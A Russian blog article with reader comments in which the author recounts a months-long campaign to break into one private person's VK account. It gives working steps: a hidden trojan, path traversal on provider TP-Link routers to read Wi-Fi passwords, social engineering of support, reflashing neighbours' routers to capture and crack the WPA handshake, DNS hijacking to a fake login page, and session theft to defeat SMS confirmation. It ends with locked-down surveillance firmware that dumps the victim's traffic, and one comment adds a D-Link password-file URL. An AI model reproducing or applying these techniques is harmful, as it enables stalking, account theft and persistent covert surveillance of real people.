Понадобилось мне однажды получить доступ к странице ВК одного человека, при том как можно более незаметно для пользователя, и я стал искать способы. Первое, что пришло в голову, скинуть жертве троян, ведь у меня еще давно был заготовлен собственноручно собранный скрытый TightVNC с backconnect’ом на мой IP + скрытый VLC player, который транслирует звук с микрофона в реальном времени так же на мой IP. При том он вообще не определялся как вредоносное ПО на VirusTotal. Но статья вовсе не об этом. Троян мне в итоге впарить удалось, как и заполучить доступ в ВК (просто скопировав cookies из браузера жертвы), но вскоре на компьютере юзверя была переустановлена ОС, и мне пришлось искать другой путь.
Единственное, что я знал – это то, какой у жертвы провайдер. Ну что же, начал я с того, что просканировал весь диапазон этого небезызвестного провайдера города N (по понятным причинам провайдера я называть не стану), и обнаружил чудесную вещь: на большинстве хостов открыт порт 8080. Сразу стало понятно, что это web-интерфейс роутера. Я уже было понадеялся на дефолтные admin admin (тогда бы это был полный крах для провайдера), но нет, пароль я подобрать так и не смог, хотя все же нашел с десяток роутеров, где стоял дефолтный пароль. Оказалось, что 90% всех роутеров составляют TP-Link TL-WR741ND и реже 740N, 841N, 941ND.
Тут все предельно ясно: провайдер дает в аренду пользователям одинаковые роутеры, настраивает им их при установке, а менять эти настройки юзверям просто лень. Становилось все интереснее и интереснее. Наверняка в таком случае должна быть какая-то закономерность в настройке, то есть пароли наверняка однотипные. Я решил погуглить, а нет ли в этих моделях каких-нибудь уязвимостей и, к моему удивлению на тот момент, я нашел их немало. Первое, что бросилось в глаза – это статья «Бэкдор в роутерах TP-LINK».
Я тут же решил проверить данную уязвимость. Файлы закачивались в роутер, но он их не принимал, и тут я стал думать, а что вообще из себя представляет этот nart.out. Это бинарник под MIPS, который по сути может быть любым приложением, нужно только собрать его. Для начала я стал искать готовый вариант, т. к. раньше практически никогда не имел дело с кросс-компиляцией. К моему удивлению как раз в этот момент данным вопросом интересовался еще один человек: Specx2 (рекомендую, кстати говоря, к прочтению его статью о том, как собрать хак станцию из роутера, что, собственно я в итоге и сделал, только удаленно). Ему удалось на одном из китайских форумов найти netcat, скомпилированный под MIPS, кстати, как раз в том разделе, где обсуждалась данная уязвимость. Этот бинарник успешно запускался под QEMU, успешно заливался в роутер через найденный backdoor, но, почему-то, к роутеру подключиться не удавалось: просто не было коннекта и все. Товарищ Specx2 предположил, что дело может быть в том, что порт 2222 может быть просто закрыт, и нужно как-то заставить netcat запускаться на другом порту.
Мы попытались сами скомпилировать netcat под MIPS, но задать опцию дефолтного порта так и не смогли. Далее мы использовали дизассемблер, но так же безуспешно. И тут я решил открыть этот бинарник обычным Notepad++, и, к своему удивлению нашел там заветные 2222. Это число можно было без проблем менять на любое другое, главное – чтобы количество символов в файле не изменилось. Порт действительно менялся, все было протестировано на QEMU, только вот заставить его заработать на роутере нам так и не удалось.
Я не оставил своих попыток заполучить контроль над роутером и стал искать другие уязвимости. Вскоре я наткнулся на этот пост. И действительно: на 841 и 941 моделях присутствовал шелл по адресу
/userRpmNatDebugRpm26525557/linux_cmdline.html
Только вот пароль от роутера все равно нужно было знать, да и у пользователей данного провайдера в основном были 741 модели. Мне удалось найти роутер с дефолтным паролем и данным шеллом, хоть и очень урезанным. Таким образом я получил доступ к файловой системе роутера. Ничего ценного, к сожалению, мне найти не удалось, да и шелл работал не совсем корректно. Неужели и в правду разработчики через него делают отладку?
Казалось, что это тупик, долгое время у меня не было ни одной зацепки, но что-то подсказывало мне, что уязвимости все же есть. И тут я выяснил, что роутер не фильтрует GET запросы. То есть по умолчанию при неверно введенном пароле открывается страница /help, но если мы, к примеру, сделаем такой запрос:
GET IP:port/help/../../
То мы попадем в корень файловой системы роутера. Таким образом мы можем скачать практически любой файл из ФС роутера даже не зная пароля. Это оказалась первая успешно работающая уязвимость из всех найденных мной. Но что она нам дает, если мы можем только скачивать файлы и при этом не знаем, где хранится пароль?
После недолгих поисков мне все же удалось найти интересный файл по адресу /tmp/ath0.ap_bss, в котором хранится пароль от Wi-Fi в открытом виде. Я тут же решил проверить это на одном из роутеров пользователей данного провайдера.
GET IP:8080/help/../../tmp/ath0.ap_bss
Как оказалось, люди там работают довольно ленивые, и ставят одинаковые пароли на web-интерфейс роутера и Wi-Fi, так что, узнав пароль от Wi-Fi при помощи данной уязвимости, мы автоматически узнаем и пароль от web-интерфейса. Как правило, это 8 цифр. Реже – цифры с буквами. Опять же 8. С этого момента я мог получить доступ к роутеру почти любого юзверя, который не сменил пароль, установленный провайдером, а не менял его практически никто. Правда, на некоторых роутерах все же стояла последняя версия прошивки, и данная уязвимость не работала, но таких было не так уж и много. Тут же я узнал и еще один интересный момент. SSID всех точек содержали вторую половину внутреннего IP-адреса пользователя, а первая была у всех одинаковой. Оказалось так же, что и в личном кабинете на сайте пароль был таким же. И эта вторая половина внутреннего IP являлась номером договора. То есть по номеру договора пользователя можно было вычислить внутренний IP.
Несмотря на то, что все юзвери имели реальный внешний IP (хоть и динамический), я решил поднять на нескольких из ASUS’овских роутерах, где был дефолтный пароль, VPN-сервер. Благо такая возможность была вшита в прошивку по умолчанию. Таким образом у меня появился доступ во внутреннюю сеть провайдера.
Но до взлома ВК было еще далеко. Я даже не знал IP жертвы. Ни внешнего, ни внутреннего. Существует множество способов узнать внешний IP, и я это сделал. Что же, начнем изучать. Во-первых, он отвечал на ping-запросы, что уже хорошо. Во-вторых, я знал, что у жертвы тоже стоит роутер (это так же можно понять по TTL, т. к. у подавляющего большинства пользователей установлена ОС Windows, а TTL винды по умолчанию 128), при том наверняка той же модели. Но, к моему глубокому сожалению, все порты у жертвы оказались закрыты, и доступа к вебморде извне не было. Но я знал, что он в любом случае есть через LAN, но для этого нам необходимо подключиться к этому роутеру через беспроводной интерфейс, а так же подобрать пароль от админки, что было бы очень проблематично, ведь я так и не смог на тот момент найти, где он хранится. Хотя сейчас мне уже известно, что он хранится в /dev/mtdblock3, но этот блок не монтируется, поэтому прочитать его через описанную уязвимость невозможно.
Так же я узнал, что логином от VPN подключения для доступа в интернет являются инициалы и фамилия юзверя или ее часть, а пароль все тот же. Я стал думать, как же мне найти нужного мне пользователя? Может я все-таки ошибся в тот раз с определением IP, и он уже успел поменяться, пока я попытался законнектиться к вебморде? Первое, что пришло в голову – это простой перебор всех роутеров. Но количество абонентов у провайдера довольно большое. Просканировав весь диапазон, я обнаружил порядка 3000 роутеров с удаленным доступом к web-интерфейсу. И нужно было как-то найти среди них нужный, если он вообще там есть.
Сначала я пытался написать скрипт, который бы при помощи найденной уязвимости узнавал пароль, а далее скачивал бы страничку настройки сети и сохранял ее. Но в этом я слаб, и, отбросив через некоторое время эту идею, я решил использовать обычный кликер. С горем пополам я (вернее кликер) обработал весь диапазон. Далее я сделал поиск по файлам с настройками (надеясь найти жертву по фамилии в логине от vpn-соединения), но ничего нужного мне я так и не нашел.
Я стал копать дальше и обнаружил, что любым взломанным роутером можно через web-интерфейс просканировать окружающие его точки доступа. Таким образом, у меня появилась безумная идея: взломать соседа жертвы этой уязвимостью, чтобы затем его роутером попытаться взломать пароль от Wi-Fi жертвы и зайти в web-интерфейс уже через LAN, т. к. проделывать путь в пару тысяч километров без уверенности в успехе было неразумным, да и просто возможности не было. Но и осуществить задуманное на тот момент казалось немыслимым. Как отыскать соседа?
Вспомним, что вторая часть внутреннего IP содержится в SSID. Она же совпадает с номером договора. Было бы неплохо узнать SSID точки доступа пользователя, чтобы можно было ее найти. Что я сделал? Да просто взял и написал в техподдержку провайдера, представившись пользователем, якобы я хочу оплатить инет, но забыл номер договора. И мгновенно получил ответ, благо я знал ФИО и адрес. Таким образом я узнал внутренний IP жертвы, который кстати является статическим (так что нет смысла постоянно вычислять динамический внешний, т. к. есть доступ во внутреннюю сеть через VPN на одном из взломанных роутеров). Так же у меня появился предположительный SSID данного пользователя, так что у меня уже было, с чем работать.
Задача заключалась в том, чтобы заходить во все подряд роутеры и одним из них обнаружить в округе роутер с заветным SSID. Задача опять же была не из легких, но вспомним, что у нас есть доступ в личный кабинет, где указывается адрес проживания пользователя. Проведя несколько экспериментов, я понял, что есть некая закономерность между внутренним IP и адресом пользователя. То есть не обязательно, что соседи будут в одной подсети, но как минимум в соседних, к примеру: 10.168.155.0 и 10.168.158.0. Так что, найдя методом научного тыка пользователя, проживающего недалеко от жертвы, я стал перебирать все роутеры в соседних подсетях. В итоге, заветного SSID я не нашел, но я нашел 2-х соседей, увидев их адрес в личном кабинете. У меня голова взрывалась: как же так, соседей нашел, но нужной точки доступа рядом нет. Все же она была, просто с измененным SSID, и я угадал, каким. Это оказалось несложно.
Отлично! Роутер нашли, как и соседей, потратив, правда, на это очень много времени. Что же дальше? Нужно как-то получить пароль от беспроводной сети, но для этого нам нужно либо перехватить handshake и подобрать по нему пароль (защита там WPA2-PSK), либо подобрать WPS PIN, т. к. по дефолту WPS включен, но на большинстве роутеров он блокируется после 10 неверных попыток. Как нам вообще осуществить хотя бы что-то из этого? Ведь на роутерах соседей нет специализированного софта. И тут пришла мысль перепрошить их роутеры OpenWRT, ведь эта прошивка больше всех приближена к настоящему линуксу, а так же под нее есть пакеты aircrack-ng, reaver и многие другие. Товарищ Specx2 даже Bully под него собрал. Оставалась только одна проблема: как перепрошить роутер удаленно и не потерять доступ к нему? Ведь после перепрошивки все настройки сбрасываются в дефолт.
Я долго мучился с этим вопросом, считал, что нужно собирать всю прошивку с нуля из исходников и каким-то образом предварительно вбить туда настройки, но все оказалось гораздо проще. Я даже не знал о существовании OpenWRT Image Builder. С ним я разобрался довольно быстро, однако нужно было правильно подобрать набор пакетов, т. к. объем прошивки не может превышать 4MB, а это мало, учитывая то, что многие тянут за собой нехилый список зависимостей. Следующая проблема заключалась в том, что доступ в инет юзверь получает только после установки VPN соединения с сервером провайдера, но тогда весь трафик уходил в туннель, и я терял связь с роутером. Так что, да простит меня сосед, оставил я его без инета. Успешно прошив его роутер (предварительно оставив еще пару десятков пользователей без инета в ходе неудачных экспериментов), я сразу же перевел сетевую карту роутера в monitor mode
ifconfig wlan0 down
iw reg set BO
iwconfig wlan0 txpower 27
airmon-ng start wlan0
И запустил airodump-ng.
airodump-ng mon0 –c номер_канала –bssid MAC_роутера_жертвы –w /tmp/123
Перехватить handshake труда не составило. Я тут же скачал дамп с роутера при помощи SCP
scp –P port user@host:/tmp/123-01.cap ~/123.cap
Отфильтровал его от лишних пакетов в Wireshark:
wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x04 || eapol
И конвертировал в формат .hccap для Hashcat. Я заранее подготовил небольшой словарик, который помог мне взломать немало беспроводних сетей, а так же я добавил туда все возможные пароли, которые могли бы быть использованы данным пользователем.
oclHashcat64.exe –m2500 –a0 123.hccap wordlist.txt
К счастью, уже через пару секунд пароль был найден! Но ведь нужно было еще как-то законнектиться к роутеру в режиме клиента! Только тогда WAN для роутера соседа опять же изменится, и я потеряю доступ к нему. Я так и не смог придумать, как решить эту проблему, поэтому пришлось попросить человека прийти к жертве, законнектиться с телефона и открыть удаленный доступ (сейчас могу предположить, что нужно было просто заранее добавить статические маршруты в прошивку). Благо пароль от web-интерфейса оказался дефолтным admin admin.
Все прошло успешно! У меня уже был подготовлен дальнейший план действий. На своем real IP без фильтрации я поднял DNS-сервер, где изменил запись для vk.com и поменял ее на свой IP, где так же был поднят HTTP сервер с PHP. Туда, соответственно, был залит fake страницы авторизации vk.com, а в роутере DNS-сервер был изменен на мой. Пользователь, зайдя на vk.com, попал на мой fake, и, таким образом, пароль оказался у меня, цель достигнута!
Долгое время я использовал этот способ, чтобы получить пароль, но однажды было включено хваленое подтверждение входа на vk.com, которое, как утверждают сами создатели, обойти практически невозможно. Суть заключается в том, что при авторизации с нового устройства/браузера в случае ввода верного пароля необходимо также дополнительно ввести код из смс, которое отправляется на номер владельца. Но на этот случай у меня уже давно была подготовлена теория, которая пока не проверялась.
Первым делом я попытался понять, каким именно образом сервер определяет, что вход производится с нового устройства. Все оказалось довольно просто: в браузер добавляется новый Cookie (если мне не изменяет память, то называется remixttpid), который передается только через шифрованное соединение. И по нему уже сервер определяет браузер, с которого разрешен вход. Если не ошибаюсь, User-Agent тоже должен совпадать. Таким образом, нам достаточно перехватить этот cookie, чтобы успешно залогиниться с известным паролем, но это сделать довольно сложно: нужно пропускать трафик пользователя через mitmproxy, да так, чтобы он еще и залогинился в этот момент. К тому же пользователь заметит предупреждение браузера о несовпадении сертификата. Зачем так извращаться, подумал я, если можно просто перехватить уже существующую сессию? Ведь проверка браузера производится только в момент логина, но не производится при любых запросах с уже существующей сессии! Следовательно, нам всего-то нужно перехватить remixsid, который, к тому же, передается через незащищенное соединение, т. к. юзверь не использует https.
Проблема заключалась только в том, что remixsid вяжется к IP пользователя, а если он меняется, то используются и cookies для login.vk.com, которые передаются только через шифрованное соединение, и перехватить их сложнее. Но мне повезло. К тому времени провайдер стал предоставлять доступ в инет без необходимости установки VPN соединения, а значит я мог просто поднять свой PPTP-сервер и в настройках роутера юзверя настроить к нему подключение. Так я и сделал, весь трафик пошел через меня, и юзверь, сам того не зная, создал сессию, привязанную к моему IP, которая была без проблем перехвачена. Далее я просто вернул прежние настройки и пользуюсь перехваченной сессией (благо IP у меня статический). SMS-защита успешно сломана!
Все бы ничего, но и на этом я не остановился. Дело в том, что если пользователь вдруг поймет, в чем дело, он просто может поменять пароль от настроек роутера и от Wi-Fi. Чтобы это предотвратить, я занялся сборкой OpenWRT под роутер юзверя. Нужно было все предусмотреть. Для удобного мониторинга трафика жертвы я смонтировал FTP-сервер как файловую систему при помощи curlftpfs. Туда пишутся дампы. Весь этот процесс описан в данной статье. Изначально я планировал смонтировать облако как файловую систему, для чего использовал davfs2, который тоже было непросто собрать под OpenWRT, но проблема заключалась в том, что файл записывался сначала в кэш, а только потом заливался в облако. Следовательно размер файла ограничивался размером кэша, который чрезвычайно мал. Поэтому я выбрал curlftpfs. Трафик записывался при помощи tcpdump и разбивался на файлы по 512МБ.
tcpdump -i br-lan -w /root/ftp/dump/`date +"%d_%m_%Y_%T_"` -C 512Mb &
Где /root/ftp/dump – это наша файловая система на ftp. Все это дело можно поместить в автозапуск (/etc/rc.local).
Вообще итоговый набор пакетов для прошивки OpenWRT Attitude Adjustment 12.09 выглядел таким образом:
make image PROFILE=TLWR740 PACKAGES="curlftpfs tcpdump tinyproxy wireless-tools -ppp -ppp-mod-pppoe" FILES=files/
Curlftpfs занимает большую часть памяти, но дает нам ее неограниченное количество на ftp. Tcpdump дает возможность круглосуточно записывать трафик жертвы, а tinyproxy – выходить в инет с IP жертвы, то есть, перехватив remixsid к примеру, мы можем так же зайти в ВК пользователя с его же IP при помощи tinyproxy, либо можем просто перенаправить его трафик на свой прокси таким образом:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to ip:port
В общем, можем полностью рулить трафиком. Так же можно устанавливать пакеты на смонтированную ftp файловую систему, для этого используем opkg –dest, предварительно указав название и адрес для нашей файловой системы в /etc/opkg.conf. Вся остальная конфигурация так же должна быть заранее прописана в соответствующих файлах.
/etc/firewall.user
/etc/config/firewall
/etc/config/network
/etc/config/system
/etc/config/wireless
/etc/rc.local
и др.
Все эти файлы должны быть заранее подготовлены, чтобы вшить их в прошивку. Собственно, что нам это дает помимо дополнительных возможностей? А дело в том, что файловая система squashfs является read-only. Соответственно юзверь никаким образом не сможет изменить заданные мной настройки по умолчанию. При всем желании он даже через telnet не сможет подключиться, т. к. в rc.local, который вшит в прошивку, есть строчка
echo –e “pass\npass” | passwd root
То есть доступ через telnet рубится сразу же после загрузки роутера, а пароль от SSH есть только у меня. Сброс в дефолт физической кнопкой тут так же не получится, т. к. дефолт задан мной и вшит в прошивку. Цель достигнута.
В связи с переводом всех пользователей на IPoE в недавнее время и отказом от VPN, все они оказались за NAT’ом, включая роутеры, на которых мною был поднят VPN для доступа во внутреннюю сеть провайдера. Кроме тех, кто подключил себе услугу «Статический IP», разумеется. Но и тут проблема: те, кто хочет реальный IP, должны все еще использовать VPN для доступа в интернет. Пришлось мне помучиться и собрать OpenWRT с вшитым и настроенным PPTP-клиентом (а работает он почему-то действительно криво), а так же вшитым и настроенным OpenVPN сервером. Немало роутеров погибло в ходе экспериментов, но результат в итоге был достигнут. Залив на несколько роутеров (из немногих оставшихся с real IP) такую прошивку, я имею стабильный доступ во внутреннюю сеть при помощи OpenVPN.
Проблема с подключением PPTP VPN заключалась в том, что сервера провайдера не поддерживают шифрование. Это удалось пофиксить добавлением строчки в /etc/ppp/options.pptp.
nomppe
В остальном процесс настройки PPTP VPN клиента и OpenVPN сервера ничем не отличался от мануалов по OpenWRT.
Надеюсь, данная статья будет кому-то интересна, и кто-нибудь узнает из нее для себя что-то новое.
UPD: Как написал в комментах ValdikSS, вместо curlftpfs+tinyproxy можно использовать OpenSSH, который более функционален.
Комментарии (45)
Disen
13.07.2015 20:16+9Эх, Сережа Зиновьев, доиграешься ты… :)
84z0r Автор
13.07.2015 21:48+4Я тоже умею по никам странички в вк искать :) Я не скрываюсь) Взломанный юзверь уже введен в курс дела)
Sleuthhound
14.07.2015 08:51+1Вы не боитесь, что за Вами приедут и заберут в не очень приятные места? На месте введенного в курс юзера я бы написал на Вас куда следует.
На самом деле гордится тут не чем и настоящие хакеры не рекламируют себя таким образом, да и не хакер Вы, а обычный взломщик. Вы бы могли получить больше прибыли, если пошли по пути предупреждения взлома, а не писали тут статью для таких же горе-курхацкеров как портить жизнь людям, ломая их роутеры, а попутно и интернет во всем доме.ValdikSS
14.07.2015 10:22Вы преувеличиваете. Взлом странички — такая фигня, такая мелочь, что боятся нечего. Человек, я уверен, не получил за это ни копейки, а делал это только потому, что это круто.
Sleuthhound
14.07.2015 11:30-1Знаете, ездить пьяным за рулем или ездить на крыше поезда у некоторых категорий людей тоже считается круто, но это далеко не безопасно для окружающих и тем более не законно.
84z0r Автор
14.07.2015 12:59+4Тут никто ничем не гордится, это просто история взлома, в которой показаны довольно частые косяки со стороны провайдеров и пользователей. Я никакой не хакер, раньше этим не занимался, все придумывал и изучал на ходу. Ни о какой прибыли тут речи не идет, все делалось для себя.
eaa
15.07.2015 16:52-2anyway, преступление от этого не перестает быть преступлением.
janekprostojanek
17.07.2015 16:58Хрум-хрум *суетливо роется рукой в банке с попкорном*
eaa
17.07.2015 17:05Попкорном запасаться не стоит, кина не будет, те, кто говорит про закон — получают минусы и слив кармы.
silenzushka
13.07.2015 20:30+3Интересней любого кабер-панк романа. Продолжение будет?
84z0r Автор
13.07.2015 21:46+2Если будет еще что-то интересное, о чем можно рассказать, возможно будет.
artyfarty
13.07.2015 20:38+6Интересно и увлекательно, но как-то совсем по-черному. Да еще и не знакомый автора все это делал, а сам автор.
Ivan_83
13.07.2015 23:05+4На деле всё даже эпичнее, чем расписал автор.
Роутеры на заводских прошивках — это проходной двор, и сейчас там шляется кто не попадя и делает что хочет, даже не смотря на пароль на админке.
Пароль на админке вообще не работает, разве что от самого себя, когда его забываешь.
У меня был в одном месте Asus RT-N66U, был пароль на админке 8 букв+цифр, и админка на 8080 порту.
Я видел что:
— поменяли днс сервера, притом видимо разные боты, один поставил свой днс в свойствах WAN подключения, а другой в настройках DHCP
— включили ВПН сервер и добавили учётку (только с подключением у них какой то облом вышел, хз почему)
— один раз даже изменили SSID на ФАМИЛИЯПРЕЗИДЕНТА_МАТЕРНОЕСЛОВО и поставили пустой пароль. (цимес в том, что кремль там за углом, метров 200-500 :) )
DNS меняли раз в 1-3 суток.
И в логах всё чисто, притом что их не очищали. Если пароль брутят тот там запись появляется после 5 попыток. Ошибки были только для входящих впн подключений, чего то там не срасталось/согласовывалось.
На другой роутере — Uplevel какой то, просто меняли DNS сервера, впрочем он ущербный и там мало интересного.
Короче, с родными прошивками в роутерах пора завязывать.
Есть ещё Asus RT-N56U с прошивкой от Подавана, там такого безобразия не было за последние 3-4 года замечено ни разу.
PS: в том месте где Asus RT-N66U и аплевел стоят всё кончилось хорошо, теперь они только WiFi раздают, а тазик на FreeBSD занимается роутингом, рулёжкой сети и файлопомойкой, больше никаких странных изменений настроек. DNS рекурсер вообще свой — unbound.84z0r Автор
13.07.2015 23:11+2Под асусы тоже эксплоит есть, правда я пока особо не вникал, но, к примеру, RouterScan частенько успешно его использует при сканировании. А про старенькие DIR-300 я вообще молчу, вот там действительно проходной двор.
Foggy4
14.07.2015 16:51Блин, у меня как раз DIR-300, вроде ничего подозрительного на нем не замечал, но похоже надо сменить прошивку на неофициальную.
xandr0s
15.07.2015 09:18Первое, что пришло в голову: 192.168.0.1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
Остальное надо повспоминатьFoggy4
15.07.2015 13:01Спасибо, это просто ужасно. У меня ограничен внешний доступ на файрволле, но не удивлюсь, что файрвол там так же игрушечный. В общем на выходные запланировал перепрошивку.
ValdikSS
14.07.2015 00:37+1Провайдер уж, случаем, не в Сибири? А то я недавно натыкался на точно такой же склад кастомизированных TL-WR741ND с открытым 8080 наружу.
84z0r Автор
14.07.2015 00:43+2Нет, не в Сибири. Как я понял, это довольно частый случай, заметил такое уже у довольно большого количества провайдеров. Только у некоторых уязвимых роутеров мало, а у каких-то, чуть ли не каждый. Данные модели довольно популярны ввиду своей цены, а высылать мастеров к пользователям каждый раз, когда что-то не так, накладно, вот и оставляют открытым 8080.
ValdikSS
14.07.2015 00:57+3Но ведь нужно было еще как-то законнектиться к роутеру в режиме клиента! Только тогда WAN для роутера соседа опять же изменится, и я потеряю доступ к нему. Я так и не смог придумать, как решить эту проблему, поэтому пришлось попросить человека прийти к жертве, законнектиться с телефона и открыть удаленный доступ (сейчас могу предположить, что нужно было просто заранее добавить статические маршруты в прошивку).
Скорее всего, статический маршрут сработал бы, да. Но вообще то, что вы хотели сделать, называется source routing или policy routing, что одно и то же, и реализуется либо руками, либо пакетами multiwan (устарел и плохо работает) и mwan3 (хорошо работает).
Вместо всей этой фигни с curlftpfs, могли бы просто поставить openssh вместо dropbear, и получили бы не только sftp, но и проброс портов, socks proxy и vpn-туннель.
Но а вообще, очень круто, серьезно, невероятно просто. Жаль, что много роутеров убили в процессе, я бы себе такого не позволил.84z0r Автор
14.07.2015 01:08Мне просто до этого толком ничем подобным заниматься не приходилось, поэтому я все придумывал и изучал на ходу. Возьму все это на заметку) А насчет curlftpfs, я именно его использовал, т. к. мне ведь нужно было куда-то дампы трафика писать в реальном времени, а в роутере то памяти практически нет. То есть это не разовая передача какого-то файла, мне нужно было именно файловую систему смонтировать, т. к. трафик записывался практически 24/7.
ValdikSS
14.07.2015 01:10+1Я вам и говорю, что вместо того, чтобы использовать curlftpfs, могли бы просто заменить стандартный ssh-клиент dropbear на OpenSSH. OpenSSH умеет и прокидывать файловую систему через sftp (sshfs + FUSE), и пробрасывать порты (как локальные, так и удаленные), и socks5-прокси поднимать, и VPN, и еще кучу всего. А весит он меньше, чем tinyproxy + curlftpfs.
ValdikSS
14.07.2015 01:00Прочитайте еще мою статью «Как IPv6 помогает роутеры ломать». Этим способом можно очень быстро (пара секунд) просканировать все роутеры в одном броадкаст-домене.
N1ght1ngale
14.07.2015 08:37Я так понимаю, что наследили вы в сети провайдера порядочно, поскольку никаких слов про то как скрывались следы, я в статье не увидел.
shifttstas
14.07.2015 11:54-2Чуть более чем 99% провайдеров не логируют действия в локальной сети, тк это совершенно не нужно.
84z0r Автор
14.07.2015 12:29+1Лучше, конечно, их не оставлять. Следы остались только в виде перепрошитых роутеров, а 15-20 пользователей на фоне нескольких тысяч, не такая уж и большая проблема для провайдера. В дальнейшем я стал проводить эксперименты на своем роутере: во-первых, никому не вредит, во-вторых, после потери связи с чужим роутером, не всегда понятно, чем это вызвано, а к своему доступ есть всегда, и разобраться в ситуации гораздо проще.
c0yc
14.07.2015 09:33Одна из причин, почему всем родным и друзьям в настройках самого сайта включаю https, если это поддерживает сайт. К сожалению у многих такая опция выключена по умолчанию.
paramobilus
14.07.2015 10:13-1Фиерическая глупость детектид.
Автор, твоя статья свидетельство совершённого преступления по ст. 272 и 273 УК РФ.
Беги и прячься, пока прокуроры не нашли.shifttstas
14.07.2015 11:55+1Насколько я понимаю, если пострадавший не напишет заявление — никто возбуждатся не должен, в тред призываются юристы, самому интересно…
olekl
14.07.2015 10:52И вот эту всю активность провайдер не обнаружил и не предпринял никаких действий? Ой, не верится что-то. Особенно «предварительно оставив еще пару десятков пользователей без инета в ходе неудачных экспериментов» — т.е. у юзера пропадает интернет, рано или поздно обнаруживается, что причина в роутере, роутер возвращают провайдеру… и что, провайдер не заметил, что на роутере другая прошивка? А заметив, не забил тревогу?
84z0r Автор
14.07.2015 12:25+1Не знаю, связано ли как-то это, но, как я уже писал, через некоторое время провайдер стал предоставлять доступ в инет без необходимости VPN подключения пользователем, но при этом, 90-95% пользователей оказались за NAT'ом. Видимо они не поняли, что и через локальную сеть все может происходить. А что, по-вашему, может сделать провайдер в таком случае? Нужно обновлять прошивку всем пользователям, а их несколько тысяч. Там, видимо, лентяи работают. Да и даже если это сделать, то установка всем пользователям одинакового пароля WiFi, web-интерфейс и личный кабинет, при том состоящего из 8 цифр — это провал.
olekl
14.07.2015 12:31-1Что может сделать провайдер, обнаружив серьезное вторжение в свою сеть? Ну уж точно не игнорировать. А поскольку автор статьи, судя по самой статье, не сильно заморачивался с заметанием следов, то обнаружение источника вторжения было бы делом времени… Учитывая, что бОльшая часть атак идет непосредственно через самого провайдера.
84z0r Автор
14.07.2015 12:42Ну представь, имеется довольно крупная сеть, кто-то перепрошил порядка 20 роутеров через локальную сеть. Логи не ведутся. Отсюда можно сделать вывод, что шансы найти того, кто это сделал, стремятся к нулю. Да и не настолько серьезная катастрофа произошла, чтобы возбуждать дело и искать того, кто перепрошил эти 20 роутеров. Гораздо разумнее было бы найти способ, как это предотвратить в дальнейшем.
Izzet
14.07.2015 12:45+2А зачем провайдеру что-то делать? Он за это деньги не получает, серьезных убытков не несет. У кого-то украли деньги или было начато судебное разбирательство? Нет. В понимании провайдера ничего страшного не произошло.
olekl
14.07.2015 12:48-2Ну вот почему-то мне кажется, что у провайдера должна быть служба безопасности, которая должна думать по-другому.
shifttstas
14.07.2015 16:12-1Если нет финансовых потерь у провайдера он ничего делать не будет, вообще ничего.
janekprostojanek
17.07.2015 17:11+1Вам кажется. Бывают разные провайдеры, и далеко не каждый достаточно важная контора, чтобы свою СБ иметь. Причем такую, где работают опытные профессионалы, а не ребята из поддержки пользователей.
kacang
14.07.2015 11:26Хочу спросить у настоящих сварщиков:
Не подскажете куда копать чтобы запустить прошивку от ТP линка под QEMU? И как открыть её же, статически под IDA?
Ковыряю TPLink 815ND, там стоит провайдерская прошивка и раздаёт открытый хотспот. Вообщем вроде сдёрнул бинарник с девайса, но в IDA открыть не могу.
MaximChistov
Вот из-за таких как вы и ненавидят хакеров…